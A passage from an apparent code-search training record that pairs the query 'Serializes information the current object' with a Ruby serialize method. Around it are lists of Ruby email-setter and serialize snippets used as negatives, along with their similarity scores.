"def set_contactperson_email\n @contactperson_email = ContactpersonEmail.find(params[:id])\n end",
"def email=(value)\n raise 'Cannot directly assign an email when an email has already been added' if self.emails.size > 0\n @email_to_save = value\n end",
"def email=(value)\n @email = value\n end",
"def email=(value)\n @email = value\n end",
"def set_EmailAddress(value)\n set_input(\"EmailAddress\", value)\n end",
"def set_admin_system_email\n @admin_system_email = Admin::SystemEmail.find(params[:id])\n end",
"def change_email_address(new_email_address)\n @change_email = true\n self.new_email = new_email_address\n self.make_email_activation_code\n end",
"def set_cliente_email\n @cliente_email = ClienteEmail.find(params[:id])\n end",
"def email=(value)\n reset_agent\n @email = value\n end",
"def setup_recipients( email )\r\n if RAILS_ENV == 'production'\r\n return email\r\n else\r\n return AppConfig.DEBUG_EMAIL_ADDRESS\r\n end\r\n end",
"def set_mailer_host\n ActionMailer::Base.default_url_options[:host] = host\n ActionMailer::Base.smtp_settings.update(user_name: ENV[\"#{current_website.subdomain}_email\"],password: ENV[\"#{current_website.subdomain}_password\"])\n end",
"def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end",
"def assignee_email= email\n \tself.assigned_to = User.find_by_email(email).id\n end",
"def address\n @address ||= Mail::Address.new(self.to_s) rescue nil\n end",
"def email\n\t\tif self.email_address\n\t\t\tself.email_address.email\n\t\telse\n\t\t\tself.user.email\n\t\tend\n\tend",
"def set_Email1(value)\n set_input(\"Email1\", value)\n end",
"def admin_email(e=nil)\n return @admin_email unless e\n @admin_email = e\n end",
"def set_email_notification\n @email_notification = @current_user.email_notification\n end",
"def primary=(val)\n self['primary'] = val\n end",
"def set_email_preference\n @email_preference = EmailPreference.find(params[:id])\n end",
"def email\n return Contact.get_default_email self.id\n end",
"def first_email_sent_to(recipient)\n self.current_email = emails_sent_to(recipient).last\n end",
"def email_address\n return @email_address\n end",
"def email_address\n return @email_address\n end",
"def smtp_envelope_from=( val )\n @smtp_envelope_from = val\n end",
"def device_account_email=(value)\n @device_account_email = value\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def set_email\n @email = Email.find(params[:id])\n end",
"def primary_mailing_address\n mailing_address_type_code = Address.mailing_address_type.to_i\n\n primary_contacts(addresses, :address_rank_code) do |ts|\n ts.detect { |t| t.address_type_code == mailing_address_type_code }\n end\n end",
"def email_address\n element_with_value('EMailAddress', opts[:email_address].to_s[0..50])\n end",
"def set_user_email\n @user_email = UserEmail.find(params[:id])\n end",
"def to_email_address\n @to_email_address\n end",
"def contact_email_address=(contact_email_address)\n\n if !contact_email_address.nil? && contact_email_address.to_s.length > 250\n fail ArgumentError, \"invalid value for 'contact_email_address', the character length must be smaller than or equal to 250.\"\n end\n\n @contact_email_address = contact_email_address\n end",
"def to_email_address\n @to_email_address\n end",
"def set_emailtemplate\n @emailtemplate = Spree::EmailTemplate.find(params[:id])\n end",
"def email(value)\n merge(email: value.to_s)\n end",
"def to_email_address=(value)\n @to_email_address = Array.new\n convert_email_address(@to_email_address, value)\n end",
"def email\n if self[:email] && !@email_name\n self[:email]\n elsif self.email_name && self.email_domain\n self[:email] = \"#{self.email_name}@#{self.email_domain}\"\n end\n end",
"def setup_email(user)\n recipients user.email\n from self.contact_email\n sent_on Time.now\n end",
"def set_contact_email\n @contact = Contact.find(params[:id])\n old_email = @contact.email\n @contact.email = params[:value]\n if @contact.save\n @contact.update_attribute('updated_by', session[:user])\n render :update do |page|\n page.replace(\"contact_email_#{params[:id]}_in_place_editor\",\n in_place_editor_field(:contact, :email, {}, {:rows => 1}))\n end\n else\n # Grab the error message to display on a JS alert\n err_msg = @contact.errors[:email]\n @contact.email = old_email\n @contact.save\n render :update do |page|\n page.replace(\"contact_email_#{params[:id]}_in_place_editor\",\n in_place_editor_field(:contact, :email, {:value => old_email}, {:rows => 1}))\n page.call(\"alert\", \"Supplied email \" + err_msg + \"\\nReverted to original value.\")\n end\n end\n end",
"def email\n preferred_email\n end",
"def email_address\n raw_info['email_addresses'] && raw_info['email_addresses'].first\n end",
"def email_address\n require \"mail\"\n address = Mail::Address.new email\n address.display_name = name.dup\n address.format\n end",
"def primary!\n User::Email.transaction do\n raise ActiveRecord::Rollback unless user.unset_primary_email\n raise ActiveRecord::Rollback unless update_attributes(primary: true)\n true\n end\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end",
"def set_Email(value)\n set_input(\"Email\", value)\n end"
] |
[
"0.750432",
"0.64499885",
"0.62124324",
"0.6132119",
"0.6132119",
"0.60744953",
"0.60744953",
"0.6047984",
"0.60253495",
"0.5996007",
"0.59818506",
"0.5953608",
"0.59105766",
"0.59105766",
"0.5905456",
"0.5889484",
"0.5815529",
"0.57971144",
"0.57842875",
"0.565603",
"0.56281567",
"0.5587398",
"0.5587398",
"0.55761635",
"0.55723995",
"0.5565007",
"0.55523664",
"0.55518836",
"0.55319357",
"0.55319357",
"0.55228174",
"0.5518566",
"0.5485515",
"0.544842",
"0.544842",
"0.54267025",
"0.5400303",
"0.5397333",
"0.5392002",
"0.53466815",
"0.5346044",
"0.534265",
"0.5339234",
"0.53390783",
"0.5338846",
"0.532853",
"0.5306762",
"0.53044397",
"0.5303222",
"0.5261104",
"0.5249468",
"0.5229737",
"0.5219716",
"0.5209614",
"0.5209614",
"0.52058977",
"0.5204439",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5199067",
"0.5194932",
"0.51884073",
"0.51846534",
"0.5166206",
"0.5162206",
"0.51567084",
"0.51224315",
"0.5119094",
"0.5111594",
"0.51111466",
"0.5095708",
"0.5093998",
"0.5093778",
"0.50810343",
"0.50742346",
"0.50740194",
"0.5071271",
"0.5071271",
"0.5071271",
"0.5071271",
"0.5071271",
"0.5071271",
"0.5071271",
"0.5071271",
"0.5071271",
"0.5071271"
] |
0.87006336
|
0
|
Serializes information the current object
|
def serialize(writer)
raise StandardError, 'writer cannot be null' if writer.nil?
super
writer.write_string_value("connectorServerName", @connector_server_name)
writer.write_string_value("exchangeAlias", @exchange_alias)
writer.write_enum_value("exchangeConnectorType", @exchange_connector_type)
writer.write_string_value("exchangeOrganization", @exchange_organization)
writer.write_date_time_value("lastSyncDateTime", @last_sync_date_time)
writer.write_string_value("primarySmtpAddress", @primary_smtp_address)
writer.write_string_value("serverName", @server_name)
writer.write_enum_value("status", @status)
writer.write_string_value("version", @version)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def serialize\n end",
"def serialize(object) end",
"def serialize; end",
"def serialize; end",
"def serialize\n \n end",
"def serialize\n raise NotImplementedError\n end",
"def serialize\n raise NotImplementedError\n end",
"def dump\r\n super + to_s\r\n end",
"def serialize\n self.to_hash.to_json\n end",
"def serialized\n serializer_class.new(self).serializable_hash\n end",
"def serialize\n @raw_data\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"details\", @details)\n writer.write_string_value(\"identityType\", @identity_type)\n end",
"def serialize\n @serializer.serialize(self.output)\n end",
"def serialize(_object, data); end",
"def serialize(_object, data); end",
"def serializer; end",
"def to_json\n\t\t\tself.instance_variable_hash\n\t\tend",
"def serialize!\n end",
"def serialize(object)\n object.serializable_hash\n end",
"def serialize(object)\n object.to_s\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_object_value(\"device\", @device)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_enum_value(\"keyStrength\", @key_strength)\n end",
"def marshal\n Marshal.dump self\n end",
"def marshal\n Marshal.dump self\n end",
"def marshal\n Marshal.dump self\n end",
"def inspect\n serialize.to_s\n end",
"def serialize\n YAML::dump(self)\n end",
"def inspect()\n serialize.to_s()\n end",
"def inspect()\n serialize.to_s()\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"accessPackage\", @access_package)\n writer.write_collection_of_object_values(\"answers\", @answers)\n writer.write_object_value(\"assignment\", @assignment)\n writer.write_date_time_value(\"completedDateTime\", @completed_date_time)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_collection_of_object_values(\"customExtensionCalloutInstances\", @custom_extension_callout_instances)\n writer.write_enum_value(\"requestType\", @request_type)\n writer.write_object_value(\"requestor\", @requestor)\n writer.write_object_value(\"schedule\", @schedule)\n writer.write_enum_value(\"state\", @state)\n writer.write_string_value(\"status\", @status)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"initiator\", @initiator)\n writer.write_collection_of_object_values(\"members\", @members)\n writer.write_date_time_value(\"visibleHistoryStartDateTime\", @visible_history_start_date_time)\n end",
"def inspect\n fields = serializable_hash.map { |k, v| \"#{k}=#{v}\" }\n \"#<#{self.class.name}:#{object_id} #{fields.join(' ')}>\"\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_primitive_values(\"aliases\", @aliases)\n writer.write_collection_of_object_values(\"countriesOrRegionsOfOrigin\", @countries_or_regions_of_origin)\n writer.write_object_value(\"description\", @description)\n writer.write_date_time_value(\"firstActiveDateTime\", @first_active_date_time)\n writer.write_collection_of_object_values(\"indicators\", @indicators)\n writer.write_enum_value(\"kind\", @kind)\n writer.write_object_value(\"summary\", @summary)\n writer.write_collection_of_primitive_values(\"targets\", @targets)\n writer.write_string_value(\"title\", @title)\n writer.write_object_value(\"tradecraft\", @tradecraft)\n end",
"def serialize(object, data); end",
"def serialize\n JSON.generate(to_h)\n end",
"def serialiaze\n Logger.d(\"Serializing the User object\")\n save_to_shared_prefs(@context, self.class, self)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"cost\", @cost)\n writer.write_object_value(\"life\", @life)\n writer.write_object_value(\"per\", @per)\n writer.write_object_value(\"salvage\", @salvage)\n writer.write_additional_data(@additional_data)\n end",
"def inspect\n id_string = (respond_to?(:id) && !id.nil?) ? \" id=#{id}\" : ''\n \"#<#{self.class}:0x#{object_id.to_s(16)}#{id_string}> JSON: \" +\n Clever::JSON.dump(@values, pretty: true)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"owner\", @owner)\n writer.write_collection_of_object_values(\"properties\", @properties)\n writer.write_string_value(\"status\", @status)\n writer.write_collection_of_primitive_values(\"targetTypes\", @target_types)\n end",
"def write\n hash = attributes_hash\n write_value(serializer_class.dump(hash))\n @_cache = hash # set @_cache after the write\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"appDisplayName\", @app_display_name)\n writer.write_string_value(\"dataType\", @data_type)\n writer.write_boolean_value(\"isSyncedFromOnPremises\", @is_synced_from_on_premises)\n writer.write_string_value(\"name\", @name)\n writer.write_collection_of_primitive_values(\"targetObjects\", @target_objects)\n end",
"def instance_to_json\n\t\t# byebug\n\t\t{\n\t\tid: self.id,\n\t\tname: self.name,\n\t\theight: self.height,\n\t\tlast_watered: self.last_watered,\n\t\tlast_watered_amount: self.last_watered_amount,\n\t\tgrow_zone: self.grow_zone,\n\t\tnotes: self.notes,\n\t\tplanted_date: self.planted_date,\n\t\tfarm: self.farm,\t\n\t\tsensor: self.sensor\n\t\t# farm: { \n\t\t# \tfarm: self.farm.name,\n\t\t# \tfarm: self.farm.id,\n\t\t# },\n\t\t}\n\tend",
"def _dump(depth)\n scrooge_fetch_remaining\n scrooge_invalidate_updateable_result_set\n scrooge_dump_flag_this\n str = Marshal.dump(self)\n scrooge_dump_unflag_this\n str\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def to_dump\n @time = Time.now\n Base64.encode64(Marshal.dump(self))\n end",
"def dump\n\t\t\t\tflatten!\n\t\t\t\t\n\t\t\t\tMessagePack.dump(@attributes)\n\t\t\tend",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def inspect\n serialize.to_s\n end",
"def serialize(options={})\n raise NotImplementedError, \"Please implement this in your concrete class\"\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"apiConnectorConfiguration\", @api_connector_configuration)\n writer.write_collection_of_object_values(\"identityProviders\", @identity_providers)\n writer.write_collection_of_object_values(\"languages\", @languages)\n writer.write_collection_of_object_values(\"userAttributeAssignments\", @user_attribute_assignments)\n writer.write_collection_of_object_values(\"userFlowIdentityProviders\", @user_flow_identity_providers)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"clientContext\", @client_context)\n writer.write_object_value(\"resultInfo\", @result_info)\n writer.write_enum_value(\"status\", @status)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_number_value(\"memberCount\", @member_count)\n writer.write_collection_of_object_values(\"members\", @members)\n writer.write_enum_value(\"tagType\", @tag_type)\n writer.write_string_value(\"teamId\", @team_id)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_object_value(\"resource\", @resource)\n writer.write_object_value(\"weight\", @weight)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"comment\", @comment)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_date_time_value(\"deletedDateTime\", @deleted_date_time)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"history\", @history)\n writer.write_boolean_value(\"hostOnly\", @host_only)\n writer.write_string_value(\"hostOrDomain\", @host_or_domain)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_string_value(\"path\", @path)\n writer.write_enum_value(\"sourceEnvironment\", @source_environment)\n writer.write_enum_value(\"status\", @status)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"category\", @category)\n writer.write_date_time_value(\"firstSeenDateTime\", @first_seen_date_time)\n writer.write_object_value(\"host\", @host)\n writer.write_date_time_value(\"lastSeenDateTime\", @last_seen_date_time)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"version\", @version)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"large\", @large)\n writer.write_object_value(\"medium\", @medium)\n writer.write_object_value(\"small\", @small)\n writer.write_object_value(\"source\", @source)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"accessPackage\", @access_package)\n writer.write_enum_value(\"allowedTargetScope\", @allowed_target_scope)\n writer.write_object_value(\"automaticRequestSettings\", @automatic_request_settings)\n writer.write_object_value(\"catalog\", @catalog)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_collection_of_object_values(\"customExtensionStageSettings\", @custom_extension_stage_settings)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_object_value(\"expiration\", @expiration)\n writer.write_date_time_value(\"modifiedDateTime\", @modified_date_time)\n writer.write_collection_of_object_values(\"questions\", @questions)\n writer.write_object_value(\"requestApprovalSettings\", @request_approval_settings)\n writer.write_object_value(\"requestorSettings\", @requestor_settings)\n writer.write_object_value(\"reviewSettings\", @review_settings)\n writer.write_collection_of_object_values(\"specificAllowedTargets\", @specific_allowed_targets)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"assignedTo\", @assigned_to)\n writer.write_date_time_value(\"closedDateTime\", @closed_date_time)\n writer.write_object_value(\"createdBy\", @created_by)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_object_value(\"dataSubject\", @data_subject)\n writer.write_enum_value(\"dataSubjectType\", @data_subject_type)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"history\", @history)\n writer.write_object_value(\"insight\", @insight)\n writer.write_date_time_value(\"internalDueDateTime\", @internal_due_date_time)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_collection_of_object_values(\"notes\", @notes)\n writer.write_collection_of_primitive_values(\"regulations\", @regulations)\n writer.write_collection_of_object_values(\"stages\", @stages)\n writer.write_enum_value(\"status\", @status)\n writer.write_object_value(\"team\", @team)\n writer.write_enum_value(\"type\", @type)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"deviceId\", @device_id)\n writer.write_string_value(\"key\", @key)\n writer.write_enum_value(\"volumeType\", @volume_type)\n end",
"def serializable_hash\n self.attributes\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"endDateTime\", @end_date_time)\n writer.write_string_value(\"joinWebUrl\", @join_web_url)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_collection_of_object_values(\"modalities\", @modalities)\n writer.write_object_value(\"organizer\", @organizer)\n writer.write_collection_of_object_values(\"participants\", @participants)\n writer.write_collection_of_object_values(\"sessions\", @sessions)\n writer.write_date_time_value(\"startDateTime\", @start_date_time)\n writer.write_enum_value(\"type\", @type)\n writer.write_object_value(\"version\", @version)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"axes\", @axes)\n writer.write_object_value(\"dataLabels\", @data_labels)\n writer.write_object_value(\"format\", @format)\n writer.write_object_value(\"height\", @height)\n writer.write_object_value(\"left\", @left)\n writer.write_object_value(\"legend\", @legend)\n writer.write_string_value(\"name\", @name)\n writer.write_collection_of_object_values(\"series\", @series)\n writer.write_object_value(\"title\", @title)\n writer.write_object_value(\"top\", @top)\n writer.write_object_value(\"width\", @width)\n writer.write_object_value(\"worksheet\", @worksheet)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_object_value(\"details\", @details)\n writer.write_string_value(\"name\", @name)\n writer.write_enum_value(\"scenarios\", @scenarios)\n end",
"def serialize\n JSON.dump(@hash)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_boolean_value(\"isUsable\", @is_usable)\n writer.write_boolean_value(\"isUsableOnce\", @is_usable_once)\n writer.write_number_value(\"lifetimeInMinutes\", @lifetime_in_minutes)\n writer.write_string_value(\"methodUsabilityReason\", @method_usability_reason)\n writer.write_date_time_value(\"startDateTime\", @start_date_time)\n writer.write_string_value(\"temporaryAccessPass\", @temporary_access_pass)\n end",
"def to_s\r\n dump\r\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"callee\", @callee)\n writer.write_object_value(\"caller\", @caller)\n writer.write_date_time_value(\"endDateTime\", @end_date_time)\n writer.write_object_value(\"failureInfo\", @failure_info)\n writer.write_collection_of_object_values(\"media\", @media)\n writer.write_date_time_value(\"startDateTime\", @start_date_time)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"deviceCount\", @device_count)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"managedDevices\", @managed_devices)\n writer.write_enum_value(\"platform\", @platform)\n writer.write_string_value(\"publisher\", @publisher)\n writer.write_object_value(\"sizeInByte\", @size_in_byte)\n writer.write_string_value(\"version\", @version)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"members\", @members)\n writer.write_string_value(\"roleTemplateId\", @role_template_id)\n writer.write_collection_of_object_values(\"scopedMembers\", @scoped_members)\n end",
"def serialize(io)\n Encoder.encode(io, self)\n io\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"options\", @options)\n writer.write_boolean_value(\"protected\", @protected)\n end",
"def _dump() end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"authenticationConfiguration\", @authentication_configuration)\n writer.write_object_value(\"clientConfiguration\", @client_configuration)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_object_value(\"endpointConfiguration\", @endpoint_configuration)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"container\", @container)\n writer.write_string_value(\"containerId\", @container_id)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_object_value(\"member\", @member)\n writer.write_string_value(\"memberId\", @member_id)\n writer.write_enum_value(\"outlierContainerType\", @outlier_container_type)\n writer.write_enum_value(\"outlierMemberType\", @outlier_member_type)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"body\", @body)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"imageUrl\", @image_url)\n writer.write_collection_of_object_values(\"indicators\", @indicators)\n writer.write_boolean_value(\"isFeatured\", @is_featured)\n writer.write_date_time_value(\"lastUpdatedDateTime\", @last_updated_date_time)\n writer.write_object_value(\"summary\", @summary)\n writer.write_collection_of_primitive_values(\"tags\", @tags)\n writer.write_string_value(\"title\", @title)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"completedDateTime\", @completed_date_time)\n writer.write_object_value(\"progress\", @progress)\n writer.write_enum_value(\"status\", @status)\n writer.write_string_value(\"storageLocation\", @storage_location)\n writer.write_date_time_value(\"submittedDateTime\", @submitted_date_time)\n writer.write_string_value(\"userId\", @user_id)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"accessPackages\", @access_packages)\n writer.write_enum_value(\"catalogType\", @catalog_type)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_collection_of_object_values(\"customWorkflowExtensions\", @custom_workflow_extensions)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_boolean_value(\"isExternallyVisible\", @is_externally_visible)\n writer.write_date_time_value(\"modifiedDateTime\", @modified_date_time)\n writer.write_collection_of_object_values(\"resourceRoles\", @resource_roles)\n writer.write_collection_of_object_values(\"resourceScopes\", @resource_scopes)\n writer.write_collection_of_object_values(\"resources\", @resources)\n writer.write_enum_value(\"state\", @state)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"bundles\", @bundles)\n writer.write_string_value(\"driveType\", @drive_type)\n writer.write_collection_of_object_values(\"following\", @following)\n writer.write_collection_of_object_values(\"items\", @items)\n writer.write_object_value(\"list\", @list)\n writer.write_object_value(\"owner\", @owner)\n writer.write_object_value(\"quota\", @quota)\n writer.write_object_value(\"root\", @root)\n writer.write_object_value(\"sharePointIds\", @share_point_ids)\n writer.write_collection_of_object_values(\"special\", @special)\n writer.write_object_value(\"system\", @system)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"classification\", @classification)\n writer.write_string_value(\"feature\", @feature)\n writer.write_string_value(\"featureGroup\", @feature_group)\n writer.write_string_value(\"impactDescription\", @impact_description)\n writer.write_boolean_value(\"isResolved\", @is_resolved)\n writer.write_enum_value(\"origin\", @origin)\n writer.write_collection_of_object_values(\"posts\", @posts)\n writer.write_string_value(\"service\", @service)\n writer.write_enum_value(\"status\", @status)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"connectors\", @connectors)\n writer.write_boolean_value(\"hasPhysicalDevice\", @has_physical_device)\n writer.write_boolean_value(\"isShared\", @is_shared)\n writer.write_date_time_value(\"lastSeenDateTime\", @last_seen_date_time)\n writer.write_date_time_value(\"registeredDateTime\", @registered_date_time)\n writer.write_collection_of_object_values(\"shares\", @shares)\n writer.write_collection_of_object_values(\"taskTriggers\", @task_triggers)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"assignments\", @assignments)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"description\", @description)\n writer.write_collection_of_object_values(\"deviceStates\", @device_states)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_string_value(\"informationUrl\", @information_url)\n writer.write_object_value(\"installSummary\", @install_summary)\n writer.write_object_value(\"largeCover\", @large_cover)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_string_value(\"privacyInformationUrl\", @privacy_information_url)\n writer.write_date_time_value(\"publishedDateTime\", @published_date_time)\n writer.write_string_value(\"publisher\", @publisher)\n writer.write_collection_of_object_values(\"userStateSummary\", @user_state_summary)\n end",
"def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"key=#{key.inspect}\",\n \"data_type=#{data_type.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"assignments\", @assignments)\n writer.write_collection_of_object_values(\"categories\", @categories)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"developer\", @developer)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_string_value(\"informationUrl\", @information_url)\n writer.write_boolean_value(\"isFeatured\", @is_featured)\n writer.write_object_value(\"largeIcon\", @large_icon)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_string_value(\"notes\", @notes)\n writer.write_string_value(\"owner\", @owner)\n writer.write_string_value(\"privacyInformationUrl\", @privacy_information_url)\n writer.write_string_value(\"publisher\", @publisher)\n writer.write_enum_value(\"publishingState\", @publishing_state)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_enum_value(\"platformType\", @platform_type)\n writer.write_number_value(\"settingCount\", @setting_count)\n writer.write_collection_of_object_values(\"settingStates\", @setting_states)\n writer.write_enum_value(\"state\", @state)\n writer.write_number_value(\"version\", @version)\n end",
"def _dump()\n #This is a stub, used for indexing\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_string_value(\"templateId\", @template_id)\n writer.write_collection_of_object_values(\"values\", @values)\n end",
"def marshal_dump\n { \n :klass => self.class.to_s, \n :values => @attribute_values_flat, \n :joined => @joined_models\n }\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"containers\", @containers)\n writer.write_object_value(\"controller\", @controller)\n writer.write_collection_of_object_values(\"ephemeralContainers\", @ephemeral_containers)\n writer.write_collection_of_object_values(\"initContainers\", @init_containers)\n writer.write_object_value(\"labels\", @labels)\n writer.write_string_value(\"name\", @name)\n writer.write_object_value(\"namespace\", @namespace)\n writer.write_object_value(\"podIp\", @pod_ip)\n writer.write_object_value(\"serviceAccount\", @service_account)\n end",
